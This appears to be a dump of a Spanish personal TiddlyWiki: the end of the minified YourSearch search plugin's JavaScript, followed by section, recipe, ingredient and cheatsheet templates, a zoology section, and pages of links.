_109=function(_10a,_10b,_10c,_10d,_10e,_10f){_e1();_dc="";var _110=null;var _111=function(txt){if(config.options.chkUseYourSearch){_106(txt.value,config.options.chkCaseSensitiveSearch,config.options.chkRegExpSearch);}else{story.search(txt.value,config.options.chkCaseSensitiveSearch,config.options.chkRegExpSearch);}_dc=txt.value;};var _112=function(e){_111(_de);return false;};var _113=function(e){if(!e){var e=window.event;}_de=this;switch(e.keyCode){case 13:if(e.ctrlKey&&_e0&&_e2()){_e0.onclick.apply(_e0,[e]);}else{_111(this);}break;case 27:if(_e2()){_e3();}else{this.value="";clearMessage();}break;}if(String.fromCharCode(e.keyCode)==this.accessKey||e.altKey){_101();}if(this.value.length<3&&_110){clearTimeout(_110);}if(this.value.length>2){if(this.value!=_dc){if(!config.options.chkUseYourSearch||config.options.chkSearchAsYouType){if(_110){clearTimeout(_110);}var txt=this;_110=setTimeout(function(){_111(txt);},500);}}else{if(_110){clearTimeout(_110);}}}if(this.value.length==0){_e3();}};var _114=function(e){this.select();clearMessage();_101();};var args=_10e.parseParams("list",null,true);var _115=getFlag(args,"buttonAtRight");var _116=getParam(args,"sizeTextbox",this.sizeTextbox);var btn;if(!_115){btn=createTiddlyButton(_10a,this.label,this.prompt,_112);}var txt=createTiddlyElement(null,"input",null,null,null);if(_10c[0]){txt.value=_10c[0];}txt.onkeyup=_113;txt.onfocus=_114;txt.setAttribute("size",_116);txt.setAttribute("accessKey",this.accessKey);txt.setAttribute("autocomplete","off");if(config.browser.isSafari){txt.setAttribute("type","search");txt.setAttribute("results","5");}else{txt.setAttribute("type","text");}if(_10a){_10a.appendChild(txt);}if(_115){btn=createTiddlyButton(_10a,this.label,this.prompt,_112);}_de=txt;_df=btn;};var _117=function(){_e3();var _118=_b5();var n=_118.length;if(n){var _119=[];for(var i=0;i<n;i++){_119.push(_118[i].title);}story.displayTiddlers(null,_119);}};var _11a=function(_11b,_11c,_11d,_11e){invokeMacro(_11b,"option",_11c,_11d,_11e);var elem=_11b.lastChild;var _11f=elem.onclick;elem.onclick=function(e){var _120=_11f.apply(this,arguments);_fe();return _120;};return elem;};var _121=function(s){var _122=["''","{{{","}}}","//","<<<","/***","***/"];var _123="";for(var i=0;i<_122.length;i++){if(i!=0){_123+="|";}_123+="("+_122[i].escapeRegExp()+")";}return s.replace(new RegExp(_123,"mg"),"").trim();};var _124=function(){var i=_f3;return (i>=0&&i<=9)?(i<9?(i+1):0):-1;};var _125=new abego.LimitedTextRenderer();var _126=function(_127,s,_128){_125.render(_127,s,_128,_b2.getMarkRegExp());};var _129=TiddlyWiki.prototype.saveTiddler;TiddlyWiki.prototype.saveTiddler=function(_12a,_12b,_12c,_12d,_12e,tags,_12f){_129.apply(this,arguments);_102();};var _130=TiddlyWiki.prototype.removeTiddler;TiddlyWiki.prototype.removeTiddler=function(_131){_130.apply(this,arguments);_102();};config.macros.yourSearch={label:"yourSearch",prompt:"Gives access to the current/last YourSearch result",handler:function(_132,_133,_134,_135,_136,_137){if(_134.length==0){return;}var name=_134[0];var func=config.macros.yourSearch.funcs[name];if(func){func(_132,_133,_134,_135,_136,_137);}},tests:{"true":function(){return true;},"false":function(){return false;},"found":function(){return _b6()>0;},"previewText":function(){return config.options.chkPreviewText;}},funcs:{itemRange:function(_138){if(_b6()){var _139=_f5.getLastIndexOnPage();var s="%0 - %1".format([_f5.getFirstIndexOnPage()+1,_139+1]);createTiddlyText(_138,s);}},count:function(_13a){createTiddlyText(_13a,_b6().toString());},query:function(_13b){if(_b2){createTiddlyText(_13b,_b2.toString());}},version:function(_13c){var t="YourSearch %0.%1.%2".format([version.extensions.YourSearchPlugin.major,version.extensions.YourSearchPlugin.minor,version.extensions.YourSearchPlugin.revision]);var e=createTiddlyElement(_13c,"a");e.setAttribute("href","http://tiddlywiki.abego-software.de/#YourSearchPlugin");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">"+t+"<font>";},copyright:function(_13d){var e=createTiddlyElement(_13d,"a");e.setAttribute("href","http://www.abego-software.de");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">&copy; 2005-2008 <b><font color=\"red\">abego</font></b> Software<font>";},newTiddlerButton:function(_13e){if(_b2){var r=abego.parseNewTiddlerCommandLine(_b2.getQueryText());var btn=config.macros.newTiddler.createNewTiddlerButton(_13e,r.title,r.params,"new tiddler","Create a new tiddler based on search text. (Shortcut: Ctrl-Enter; Separators: '.', '#')",null,"text");var _13f=btn.onclick;btn.onclick=function(){_e3();_13f.apply(this,arguments);};_e0=btn;}},linkButton:function(_140,_141,_142,_143,_144,_145){if(_142<2){return;}var _146=_142[1];var text=_142<3?_146:_142[2];var _147=_142<4?text:_142[3];var _148=_142<5?null:_142[4];var btn=createTiddlyButton(_140,text,_147,_e4,null,null,_148);btn.setAttribute("tiddlyLink",_146);},closeButton:function(_149,_14a,_14b,_14c,_14d,_14e){var _14f=createTiddlyButton(_149,"close","Close the Search Results (Shortcut: ESC)",_e3);},openAllButton:function(_150,_151,_152,_153,_154,_155){var n=_b6();if(n==0){return;}var _156=n==1?"open tiddler":"open all %0 tiddlers".format([n]);var _157=createTiddlyButton(_150,_156,"Open all found tiddlers (Shortcut: Alt-O)",_117);_157.setAttribute("accessKey","O");},naviBar:function(_158,_159,_15a,_15b,_15c,_15d){_f5.addPageNavigation(_158);},"if":function(_15e,_15f,_160,_161,_162,_163){if(_160.length<2){return;}var _164=_160[1];var _165=(_164=="not");if(_165){if(_160.length<3){return;}_164=_160[2];}var test=config.macros.yourSearch.tests[_164];var _166=false;try{if(test){_166=test(_15e,_15f,_160,_161,_162,_163)!=_165;}else{_166=(!eval(_164))==_165;}}catch(ex){}if(!_166){_15e.style.display="none";}},chkPreviewText:function(_167,_168,_169,_16a,_16b,_16c){var _16d=_169.slice(1).join(" ");var elem=_11a(_167,"chkPreviewText",_16a,_16c);elem.setAttribute("accessKey","P");elem.title="Show text preview of found tiddlers (Shortcut: Alt-P)";return elem;}}};config.macros.foundTiddler={label:"foundTiddler",prompt:"Provides information on the tiddler currently processed on the YourSearch result page",handler:function(_16e,_16f,_170,_171,_172,_173){var name=_170[0];var func=config.macros.foundTiddler.funcs[name];if(func){func(_16e,_16f,_170,_171,_172,_173);}},funcs:{title:function(_174,_175,_176,_177,_178,_179){if(!_f4){return;}var _17a=_124();var _17b=_17a>=0?"Open tiddler (Shortcut: Alt-%0)".format([_17a.toString()]):"Open tiddler";var btn=createTiddlyButton(_174,null,_17b,_e4,null);btn.setAttribute("tiddlyLink",_f4.title);btn.setAttribute("withHilite","true");_126(btn,_f4.title,_d4);if(_17a>=0){btn.setAttribute("accessKey",_17a.toString());}},tags:function(_17c,_17d,_17e,_17f,_180,_181){if(!_f4){return;}_126(_17c,_f4.getTags(),_d5);},text:function(_182,_183,_184,_185,_186,_187){if(!_f4){return;}_126(_182,_121(_f4.text),_d6);},field:function(_188,_189,_18a,_18b,_18c,_18d){if(!_f4){return;}var name=_18a[1];var len=_18a.length>2?abego.toInt(_18a[2],_d7):_d7;var v=store.getValue(_f4,name);if(v){_126(_188,_121(v),len);}},number:function(_18e,_18f,_190,_191,_192,_193){var _194=_124();if(_194>=0){var text="%0)".format([_194.toString()]);createTiddlyElement(_18e,"span",null,"shortcutNumber",text);}}}};var opts={chkUseYourSearch:true,chkPreviewText:true,chkSearchAsYouType:true,chkSearchInTitle:true,chkSearchInText:true,chkSearchInTags:true,chkSearchExtendedFields:true,txtItemsPerPage:_d8,txtItemsPerPageWithPreview:_d9};for(var n in opts){if(config.options[n]==undefined){config.options[n]=opts[n];}}config.shadowTiddlers.AdvancedOptions+="\n<<option chkUseYourSearch>> Use 'Your Search' //([[more options|YourSearch Options]]) ([[help|YourSearch Help]])// ";config.shadowTiddlers["YourSearch Help"]="!Field Search\nWith the Field Search you can restrict your search to certain fields of a tiddler, e.g"+" only search the tags or only the titles. The general form is //fieldname//'':''//textToSearch// (e."+"g. {{{title:intro}}}). In addition one-character shortcuts are also supported for the standard field"+"s {{{title}}}, {{{text}}} and {{{tags}}}:\n|!What you want|!What you type|!Example|\n|Search ''titles "+"only''|start word with ''!''|{{{!jonny}}} (shortcut for {{{title:jonny}}})|\n|Search ''contents/text "+"only''|start word with ''%''|{{{%football}}} (shortcut for {{{text:football}}})|\n|Search ''tags only"+"''|start word with ''#''|{{{#Plugin}}} (shortcut for {{{tags:Plugin}}})|\n\nUsing this feature you may"+" also search the extended fields (\"Metadata\") introduced with TiddlyWiki 2.1, e.g. use {{{priority:1"+"}}} to find all tiddlers with the priority field set to \"1\".\n\nYou may search a word in more than one"+" field. E.g. {{{!#Plugin}}} (or {{{title:tags:Plugin}}} in the \"long form\") finds tiddlers containin"+"g \"Plugin\" either in the title or in the tags (but does not look for \"Plugin\" in the text). \n\n!Boole"+"an Search\nThe Boolean Search is useful when searching for multiple words.\n|!What you want|!What you "+"type|!Example|\n|''All words'' must exist|List of words|{{{jonny jeremy}}} (or {{{jonny and jeremy}}}"+")|\n|''At least one word'' must exist|Separate words by ''or''|{{{jonny or jeremy}}}|\n|A word ''must "+"not exist''|Start word with ''-''|{{{-jonny}}} (or {{{not jonny}}})|\n\n''Note:'' When you specify two"+" words, separated with a space, YourSearch finds all tiddlers that contain both words, but not neces"+"sarily next to each other. If you want to find a sequence of word, e.g. '{{{John Brown}}}', you need"+" to put the words into quotes. I.e. you type: {{{\"john brown\"}}}.\n\nUsing parenthesis you may change "+"the default \"left to right\" evaluation of the boolean search. E.g. {{{not (jonny or jeremy)}}} finds"+" all tiddlers that contain neither \"jonny\" nor \"jeremy. In contrast to this {{{not jonny or jeremy}}"+"} (i.e. without parenthesis) finds all tiddlers that either don't contain \"jonny\" or that contain \"j"+"eremy\".\n\n!'Exact Word' Search\nBy default a search result all matches that 'contain' the searched tex"+"t. E.g. if you search for {{{Task}}} you will get all tiddlers containing 'Task', but also '~Complet"+"edTask', '~TaskForce' etc.\n\nIf you only want to get the tiddlers that contain 'exactly the word' you"+" need to prefix it with a '='. E.g. typing '=Task' will find the tiddlers that contain the word 'Tas"+"k', ignoring words that just contain 'Task' as a substring.\n\n!~CaseSensitiveSearch and ~RegExpSearch"+"\nThe standard search options ~CaseSensitiveSearch and ~RegExpSearch are fully supported by YourSearc"+"h. However when ''~RegExpSearch'' is on Filtered and Boolean Search are disabled.\n\nIn addition you m"+"ay do a \"regular expression\" search even with the ''~RegExpSearch'' set to false by directly enterin"+"g the regular expression into the search field, framed with {{{/.../}}}. \n\nExample: {{{/m[ae][iy]er/"+"}}} will find all tiddlers that contain either \"maier\", \"mayer\", \"meier\" or \"meyer\".\n\n!~JavaScript E"+"xpression Filtering\nIf you are familiar with JavaScript programming and know some TiddlyWiki interna"+"ls you may also use JavaScript expression for the search. Just enter a JavaScript boolean expression"+" into the search field, framed with {{{ { ... } }}}. In the code refer to the variable tiddler and e"+"valuate to {{{true}}} when the given tiddler should be included in the result. \n\nExample: {{{ { tidd"+"ler.modified > new Date(\"Jul 4, 2005\")} }}} returns all tiddler modified after July 4th, 2005.\n\n!Com"+"bined Search\nYou are free to combine the various search options. \n\n''Examples''\n|!What you type|!Res"+"ult|\n|{{{!jonny !jeremy -%football}}}|all tiddlers with both {{{jonny}}} and {{{jeremy}}} in its tit"+"les, but no {{{football}}} in content.|\n|{{{#=Task}}}|All tiddlers tagged with 'Task' (the exact wor"+"d). Tags named '~CompletedTask', '~TaskForce' etc. are not considered.|\n\n!Access Keys\nYou are encour"+"aged to use the access keys (also called \"shortcut\" keys) for the most frequently used operations. F"+"or quick reference these shortcuts are also mentioned in the tooltip for the various buttons etc.\n\n|"+"!Key|!Operation|\n|{{{Alt-F}}}|''The most important keystroke'': It moves the cursor to the search in"+"put field so you can directly start typing your query. Pressing {{{Alt-F}}} will also display the pr"+"evious search result. This way you can quickly display multiple tiddlers using \"Press {{{Alt-F}}}. S"+"elect tiddler.\" sequences.|\n|{{{ESC}}}|Closes the [[YourSearch Result]]. When the [[YourSearch Resul"+"t]] is already closed and the cursor is in the search input field the field's content is cleared so "+"you start a new query.|\n|{{{Alt-1}}}, {{{Alt-2}}},... |Pressing these keys opens the first, second e"+"tc. tiddler from the result list.|\n|{{{Alt-O}}}|Opens all found tiddlers.|\n|{{{Alt-P}}}|Toggles the "+"'Preview Text' mode.|\n|{{{Alt-'<'}}}, {{{Alt-'>'}}}|Displays the previous or next page in the [[Your"+"Search Result]].|\n|{{{Return}}}|When you have turned off the 'as you type' search mode pressing the "+"{{{Return}}} key actually starts the search (as does pressing the 'search' button).|\n\n//If some of t"+"hese shortcuts don't work for you check your browser if you have other extensions installed that alr"+"eady \"use\" these shortcuts.//";config.shadowTiddlers["YourSearch Options"]="|>|!YourSearch Options|\n|>|<<option chkUseYourSearch>> Use 'Your Search'|\n|!|<<option chkPreviewText"+">> Show Text Preview|\n|!|<<option chkSearchAsYouType>> 'Search As You Type' Mode (No RETURN required"+" to start search)|\n|!|Default Search Filter:<<option chkSearchInTitle>>Title ('!')     <<option chk"+"SearchInText>>Text ('%')     <<option chkSearchInTags>>Tags ('#')    <<option chkSearchExtendedFiel"+"ds>>Extended Fields<html><br><font size=\"-2\">The fields of a tiddlers that are searched when you don"+"'t explicitly specify a filter in the search text <br>(Explictly specify fields using one or more '!"+"', '%', '#' or 'fieldname:' prefix before the word/text to find).</font></html>|\n|!|Number of items "+"on search result page: <<option txtItemsPerPage>>|\n|!|Number of items on search result page with pre"+"view text: <<option txtItemsPerPageWithPreview>>|\n";config.shadowTiddlers["YourSearchStyleSheet"]="/***\n!~YourSearchResult Stylesheet\n***/\n/*{{{*/\n.yourSearchResult {\n\tposition: absolute;\n\twidth: 800"+"px;\n\n\tpadding: 0.2em;\n\tlist-style: none;\n\tmargin: 0;\n\n\tbackground: #ffd;\n\tborder: 1px solid DarkGra"+"y;\n}\n\n/*}}}*/\n/***\n!!Summary Section\n***/\n/*{{{*/\n.yourSearchResult .summary {\n\tborder-bottom-width:"+" thin;\n\tborder-bottom-style: solid;\n\tborder-bottom-color: #999999;\n\tpadding-bottom: 4px;\n}\n\n.yourSea"+"rchRange, .yourSearchCount, .yourSearchQuery   {\n\tfont-weight: bold;\n}\n\n.yourSearchResult .summary ."+"button {\n\tfont-size: 10px;\n\n\tpadding-left: 0.3em;\n\tpadding-right: 0.3em;\n}\n\n.yourSearchResult .summa"+"ry .chkBoxLabel {\n\tfont-size: 10px;\n\n\tpadding-right: 0.3em;\n}\n\n/*}}}*/\n/***\n!!Items Area\n***/\n/*{{{*"+"/\n.yourSearchResult .marked {\n\tbackground: none;\n\tfont-weight: bold;\n}\n\n.yourSearchItem {\n\tmargin-to"+"p: 2px;\n}\n\n.yourSearchNumber {\n\tcolor: #808080;\n}\n\n\n.yourSearchTags {\n\tcolor: #008000;\n}\n\n.yourSearc"+"hText {\n\tcolor: #808080;\n\tmargin-bottom: 6px;\n}\n\n/*}}}*/\n/***\n!!Footer\n***/\n/*{{{*/\n.yourSearchFoote"+"r {\n\tmargin-top: 8px;\n\tborder-top-width: thin;\n\tborder-top-style: solid;\n\tborder-top-color: #999999;"+"\n}\n\n.yourSearchFooter a:hover{\n\tbackground: none;\n\tcolor: none;\n}\n/*}}}*/\n/***\n!!Navigation Bar\n***/"+"\n/*{{{*/\n.yourSearchNaviBar a {\n\tfont-size: 16px;\n\tmargin-left: 4px;\n\tmargin-right: 4px;\n\tcolor: bla"+"ck;\n\ttext-decoration: underline;\n}\n\n.yourSearchNaviBar a:hover {\n\tbackground-color: none;\n}\n\n.yourSe"+"archNaviBar .prev {\n\tfont-weight: bold;\n\tcolor: blue;\n}\n\n.yourSearchNaviBar .currentPage {\n\tcolor: #"+"FF0000;\n\tfont-weight: bold;\n\ttext-decoration: none;\n}\n\n.yourSearchNaviBar .next {\n\tfont-weight: bold"+";\n\tcolor: blue;\n}\n/*}}}*/\n";config.shadowTiddlers["YourSearchResultTemplate"]="<!--\n{{{\n-->\n<span macro=\"yourSearch if found\">\n<!-- The Summary Header ============================"+"================ -->\n<table class=\"summary\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">"+"<tbody>\n  <tr>\n\t<td align=\"left\">\n\t\tYourSearch Result <span class=\"yourSearchRange\" macro=\"yourSearc"+"h itemRange\"></span>\n\t\t&nbsp;of&nbsp;<span class=\"yourSearchCount\" macro=\"yourSearch count\"></span>\n"+"\t\tfor&nbsp;<span class=\"yourSearchQuery\" macro=\"yourSearch query\"></span>\n\t</td>\n\t<td class=\"yourSea"+"rchButtons\" align=\"right\">\n\t\t<span macro=\"yourSearch chkPreviewText\"></span><span class=\"chkBoxLabel"+"\">preview text</span>\n\t\t<span macro=\"yourSearch newTiddlerButton\"></span>\n\t\t<span macro=\"yourSearch openAllButton\"></span>\n\t\t<span macro=\"yourSearch lin"+"kButton 'YourSearch Options' options 'Configure YourSearch'\"></span>\n\t\t<span macro=\"yourSearch linkB"+"utton 'YourSearch Help' help 'Get help how to use YourSearch'\"></span>\n\t\t<span macro=\"yourSearch clo"+"seButton\"></span>\n\t</td>\n  </tr>\n</tbody></table>\n\n<!-- The List of Found Tiddlers ================="+"=========================== -->\n<div id=\"yourSearchResultItems\" itemsPerPage=\"25\" itemsPerPageWithPr"+"eview=\"10\"></div>\n\n<!-- The Footer (with the Navigation) ==========================================="+"= -->\n<table class=\"yourSearchFooter\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody"+">\n  <tr>\n\t<td align=\"left\">\n\t\tResult page: <span class=\"yourSearchNaviBar\" macro=\"yourSearch naviBar"+"\"></span>\n\t</td>\n\t<td align=\"right\"><span macro=\"yourSearch version\"></span>, <span macro=\"yourSearc"+"h copyright\"></span>\n\t</td>\n  </tr>\n</tbody></table>\n<!-- end of the 'tiddlers found' case ========="+"================================== -->\n</span>\n\n\n<!-- The \"No tiddlers found\" case ================="+"========================== -->\n<span macro=\"yourSearch if not found\">\n<table class=\"summary\" border="+"\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody>\n  <tr>\n\t<td align=\"left\">\n\t\tYourSearch Resu"+"lt: No tiddlers found for <span class=\"yourSearchQuery\" macro=\"yourSearch query\"></span>.\n\t</td>\n\t<t"+"d class=\"yourSearchButtons\" align=\"right\">\n\t\t<span macro=\"yourSearch newTiddlerButton\"></span>\n\t\t<span macro=\"yourSearch linkButton 'YourSearch Options'"+" options 'Configure YourSearch'\"></span>\n\t\t<span macro=\"yourSearch linkButton 'YourSearch Help' help"+" 'Get help how to use YourSearch'\"></span>\n\t\t<span macro=\"yourSearch closeButton\"></span>\n\t</td>\n  <"+"/tr>\n</tbody></table>\n</span>\n\n\n<!--\n}}}\n-->\n";config.shadowTiddlers["YourSearchItemTemplate"]="<!--\n{{{\n-->\n<span class='yourSearchNumber' macro='foundTiddler number'></span>\n<span class='yourSea"+"rchTitle' macro='foundTiddler title'/></span>&nbsp;-&nbsp;\n<span class='yourSearchTags' macro='found"+"Tiddler field tags 50'/></span>\n<span macro=\"yourSearch if previewText\"><div class='yourSearchText' macro='fo"+"undTiddler field text 250'/></div></span>\n<!--\n}}}\n-->";config.shadowTiddlers["YourSearch"]="<<tiddler [[YourSearch Help]]>>";config.shadowTiddlers["YourSearch Result"]="The popup-like window displaying the result of a YourSearch query.";config.macros.search.handler=_109;var _195=function(){if(config.macros.search.handler!=_109){alert("Message from YourSearchPlugin:\n\n\nAnother plugin has disabled the 'Your Search' features.\n\n\nYou may "+"disable the other plugin or change the load order of \nthe plugins (by changing the names of the tidd"+"lers)\nto enable the 'Your Search' features.");}};setTimeout(_195,5000);abego.YourSearch.getStandardRankFunction=function(){return _bb;};abego.YourSearch.getRankFunction=function(){return abego.YourSearch.getStandardRankFunction();};abego.YourSearch.getCurrentTiddler=function(){return _f4;};abego.YourSearch.closeResult=function(){_e3();};abego.YourSearch.getFoundTiddlers=function(){return _b1;};abego.YourSearch.getQuery=function(){return _b2;};abego.YourSearch.onShowResult=function(_196){highlightHack=_b2?_b2.getMarkRegExp():null;if(!_196){_f5.setItems(_b5());}if(!_dd){_dd=createTiddlyElement(document.body,"div",_da,"yourSearchResult");}else{if(_dd.parentNode!=document.body){document.body.appendChild(_dd);}}_fe();highlightHack=null;};})();}
//%/
!Descripción
<part descripcion>
Información sobre zoología y todo tipo de animales
</part>
!Enlaces
<part enlaces>
* ''misc:''
** Artículos de la Wikipedia: http://es.wikipedia.org/wiki/Zoolog%C3%ADa
** Especies comunes de tortugas: http://www.infotortuga.com/especiescomunes.htm
** Diferencias de nutrición entre humanos y perros: http://www.royalcanin.es/newsletters/octubre_2010/guau/nutricion.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Recetas por tipo
<part subsecciones>
<<tiddler ListadoClasesRecetas with: [[$1]]>>
</part>
<<newTiddler
    title: "Recetas de "
    label:"Nueva clase"
    prompt:"Nueva clase de recetas. Por ejemplo: de carne, de arroz, de pescado, etc."
    tag:[[ClaseReceta]]
    tag:[[$1]]
    text:{{store.getTiddlerText("_plantilla_seccion_recetas")}}
>>
!Recetas
<part articulos>
<<tiddler ListadoRecetas with: [[$1]]>>
</part>
<<newTiddler
    title:"Receta: "
    label:"Nueva receta"
    prompt:"Crea una nueva receta"    
    tag:[[$1]]
    tag:[[Recetas]]
    text:{{store.getTiddlerText("_plantilla_receta")}}
>>
! [[Ingredientes]] de este tipo
<part ingredientes>
<<tiddler ListadoIngredientes with: [[$1]]>>
</part>
<<newTiddler
    title: "Ingrediente: "
    label:"Nuevo ingrediente"
    prompt:"Nuevo ingrediente. Por ejemplo: pollo, tomate, chocolate, etc"
    tag:[[Ingrediente]]
    tag:[[$1]]
    text:{{store.getTiddlerText("_plantilla_seccion_ingredientes")}}
>>
! Recetas con el ingrediente
<part articulos>
<<tiddler ListadoRecetas with: [[$1]]>>
</part>
<<newTiddler
    title:"Receta: "
    label:"Nueva receta"
    prompt:"Crea una nueva receta"    
    tag:[[$1]]
    tag:[[Recetas]]
    text:{{store.getTiddlerText("_plantilla_receta")}}
>>
!Artículos
<part articulos>
<<tiddler ListadoArticulos with: [[$1]]>>
</part>
<<newTiddler
    title:[[$1_articulo]]
    label:"Nuevo artículo"
    prompt:"Crea un nuevo artículo sobre este tema"
    tag:[[_articulo]]
    tag:[[$1]]
    tag:[[_incompleto]]
    text:{{store.getTiddlerText("_plantilla_articulo")}}
>>
!Apuntes rápidos
<part apuntes>
<<tiddler ListadoApuntes with: [[$1]]>>
</part>
<<newTiddler
    title:[[$1_apunte]]
    label:"Nuevo apunte"
    prompt:"Crea un nuevo apunte rápido o miniguía"
    tag:[[_apunte]]
    tag:[[$1]]
    text:{{store.getTiddlerText("_plantilla_apunte")}}
>>
!Subsecciones
<part subsecciones>
<<tiddler ListadoSubsecciones with: [[$1]]>>
</part>
<<newTiddler
    title: "<nueva_subseccion>"
    label:"Crear nueva subsección"
    prompt:"Crea una nueva subsección utilizando una plantilla como base"
    tag:[[_subseccion]]
    tag:[[$1]]
    text:{{store.getTiddlerText("_plantilla_seccion")}}
>>
* ''Secciones útiles:''
** [[ReferenciaRápida]]: Referencia rápida de varios lenguajes de programación y marcado.
** [[LibreríasProgramación]]: Librerías de programación para diversos lenguajes
* ''Utilidades:''
** Herramientas texto: http://mytexttools.com/
** Editor de Markdown: http://dillinger.io/
** Más herramientas de texto: http://textmechanic.com/
** Wifi Stumbler en un applet: http://tools.meraki.com/stumbler
** Calculadora científica: http://soko.com.ar/matem/calculadora.htm
* ''Links interesantes:''
** Buscador Duck Duck Go: http://duckduckgo.com/?q=&t=i
* ''Sonidos esenciales para la vida en sociedad:''
** http://www.estoesdemasiadoparamicabeza.biz/
** http://instantsfun.es/
* ''Cursos'':
** Inteligencia Artificial: [[CursoInteligenciaArtificial]]
** Natural Language Processing: https://www.coursera.org/course/nlp
** Cursos online: http://www.class-central.com/
<<tabs txtMoreTab "General" "Todos los tiddlers por orden alfabético" IndiceTodo "Secc" "Secciones por orden alfabético" IndiceSecciones "Art" "Artículos por orden alfabético" IndiceArticulos "Def" "Definiciones por orden alfabético" IndiceDefiniciones>>


!!Titulo ^^[[<editar>|$1]]^^
contenido
! Introducción

! Referencias
! Ingredientes
<part ingredientes>
* Ing1
* Ing2
</part>

! Elaboración
<part elaboración>
# Hacer esto
# Hacer lo otro
</part>

! Presentación
<part presentación>

</part>

! Notas y advertencias
<part notas>

</part>
! Introducción
Este documento pretende ser una plantilla para copiar, pegar y rellenar en cada lenguaje de programación, con el fin de poder comparar varios lenguajes y tener una forma estructurada de tener "chuletas rápidas" de sintaxis.
<part cheatsheet>
|>|>|>| !Modulos y espacios de nombres |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|Definir modulo: |  |  | |
|Definir paquete/espacio de nombres: |  |  | |

|>|>|>| !Literales |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|>|>|>| Enteros |h
|Byte: |  |  | |
|Entero simple: |  |  | |
|Entero doble: |  |  | |
|Entero cuadruple: |  |  | |
|>|>|>| Decimales |h
|Decimal simple: |  |  | |
|Decimal doble: |  |  | |
|>|>|>| Texto |h
|Caracter: |  |  | |
|Cadena de caracteres: |  |  | |
|>|>|>| Otros |h
|SI booleano: |  |  | |
|NO booleano: |  |  | |
|Referencia nula: |  |  | |
|Valor nulo: |  |  | |
|Variable no definida: |  |  | |

|>|>|>| !Variables |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|Definir variables: |  |  | |
|Variable entero simple: |  |  | |
|Variable entero doble: |  |  | |
|Variable decimal simple: |  |  | |
|Variable decimal doble: |  |  | |
|Variable booleana: |  |  | |
|Variable carácter: |  |  | |
|Variable cadena de caracteres: |  |  | |
|Definir arrays mutables: *|  |  | |
|Definir arrays inmutables: |  |  | |
|Definir diccionarios: *|  |  | |

|>|>|>| !Bloques y comentarios|h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|Bloque de código: |  |  | |
|Comentario en línea: |  |  | |
|Comentario en bloque: |  |  | |
|Comentario de documentación: |  |  | |

|>|>|>| !Operadores |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|>|>|>| Aritméticos |h
|Suma: |  |  | |
|Resta: |  |  | |
|Multiplicación: |  |  | |
|División entera: |  |  | |
|División decimal: |  |  | |
|Módulo: |  |  | |
|Exponencial: *|  |  | |
|>|>|>| Binarios |h
|AND binario: |  |  | |
|OR binario: |  |  | |
|XOR binario: |  |  | |
|NOT binario: |  |  | |
|Desplazamiento a derecha (con signo) |  |  | |
|Desplazamiento a derecha (sin signo) |  |  | |
|>|>|>| Lógicos |h
|>|>|>| Otros |h
|Asignación: |  |  | |
|Fin de instrucción: |  |  | |
|Agrupación de instrucciones (precedencia): |  |  | |

|>|>|>| !Bucles y condicionales |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|  |  |  | |

|>|>|>| !Clases y estructuras |h
| !Elemento | !Sintaxis | !Ejemplo | !Notas |
|  |  |  | |

//"""* """ Las estructuras marcadas no son provistas por el lenguaje, si no por librerías del mismo//
//"""**""" Algunas implementaciones del lenguaje pueden no disponer de este elemento//
</part>
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion del ingrediente, información adicional
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion del tipo de receta
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Secciones
Estas son las principales secciones del wiki
<<tagsTree root:[[_seccion]] excludeTag:[[_apunte]] level:1>>
/%<<tagsTree root:[[_seccion] includeTag:[[_subseccion]] excludeTag:[[_apunte]] level:1>> %/


<<newTiddler
    title:"<nombre_seccion>" 
    label:"Crear nueva sección" 
    prompt:"Crea una nueva sección" 
    tag:"_seccion"    
    text:{{store.getTiddlerText("_plantilla_seccion")}}
>>

!Vloj
<<tagging [[journal]]>>

!Ideas y proyectos
<<tagging [[_proyectos]] >>

!Enlaces rápidos
<<tiddler [[_enlaces_rapidos]]>>

!Ejemplos de código fuente
<<tagging [[código]] >>

<<slider chkEspecial ./especial especial "Mostrar páginas especiales">>
<part especial hidden>
!Páginas especiales
<<tiddler ListStartingWith with: "_">>
</part>
<<autoRefresh>>
Ejemplos según lenguaje:
* CodigoBatch (cmd / bat)
* CodigoJava
* CodigoPhp
* CodigoPlsql
* CodigoPython
!Descripción
<part descripcion>
haXe es un lenguaje de programación multiplataforma, que permite con un mismo código fuente compilar para las siguientes plataformas:
** JavaScript
** Flash
** PHP
** C++
** NekoVM (máquina virtual de haXe)
Dispone de librerías comunes a todas las plataformas y una serie de librerías específicas
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
** Página principal: http://haxe.org
** Referencia del lenguale: http://haxe.org/ref
** Ejemplo generado en [[JavaScript]]: http://haxe.org/doc/start/js
</part>
